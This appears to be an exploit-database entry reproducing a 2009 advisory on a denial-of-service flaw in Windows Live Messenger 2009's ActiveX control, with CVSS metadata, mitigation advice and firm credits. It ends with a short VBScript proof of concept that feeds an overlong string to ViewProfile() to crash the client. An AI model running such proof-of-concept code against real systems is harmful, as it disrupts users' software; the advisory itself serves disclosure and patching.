ActiveX - Denial of Service

vendor:

Windows Live Messenger 2009

by:

HACKATTACK IT SECURITY GmbH and Natal Networks Inc.

7,5

CVSS

HIGH

ActiveX - Denial of Service

CWE

Product Name: Windows Live Messenger 2009

Affected Version From: Windows Live Messenger 2009 on Windows Vista and Windows 7

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: a:microsoft:windows_live_messenger

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Vista, Windows 7

2009

ActiveX – Denial of Service

Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll) Sending a string to ViewProfile() , cause a crash on msnmsgr.exe *must be signed in Msn Messenger account for triggerin the vulnerability.

Mitigation:

Update to the latest version of Windows Live Messenger 2009

Source

Exploit-DB raw data:

Product:
Windows Live Messenger 2009 (Build 14.0.8089.726)

************************************************************************
********
Vulnerability:
ActiveX - Denial of Service

************************************************************************
********
Discussion:
Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll)
Sending a string to ViewProfile() , cause a crash on msnmsgr.exe
*must be signed in Msn Messenger account for triggerin the vulnerability.

************************************************************************
********
Vulnerable:
Windows Live Messenger 2009 on Windows Vista
Windows Live Messenger 2009 on Windows 7

Not Vulnerable:
Windows Live Messenger 2009 on Windows XP

Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com

and

Natal Networks Inc.
Vulnerability Discovery, Penetration Testing, IT Security Consulting
www.natalnetworks.com

************************************************************************
********

Original Advisory
www.hackattack.com
www.natalnetworks.com

************************************************************************
********
PoC .wsf script:
'works on vista and windows7

<package>

<job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' />

<script language='vbscript'>

arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

target.ViewProfile arg1

</script>

</job>

</package>

About HACKATTACK and Natal Networks
================
HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing company located in Germany and Austria
More Information about HACKATTACK at
http://www.hackattack.com

Natal Networks was founded by Hellcode Research Team in 2009.
Main mission of Natal Network is discover and research vulnerabilities.
Providing penetration tests and security auditing services.
More about; www.natalnetworks.com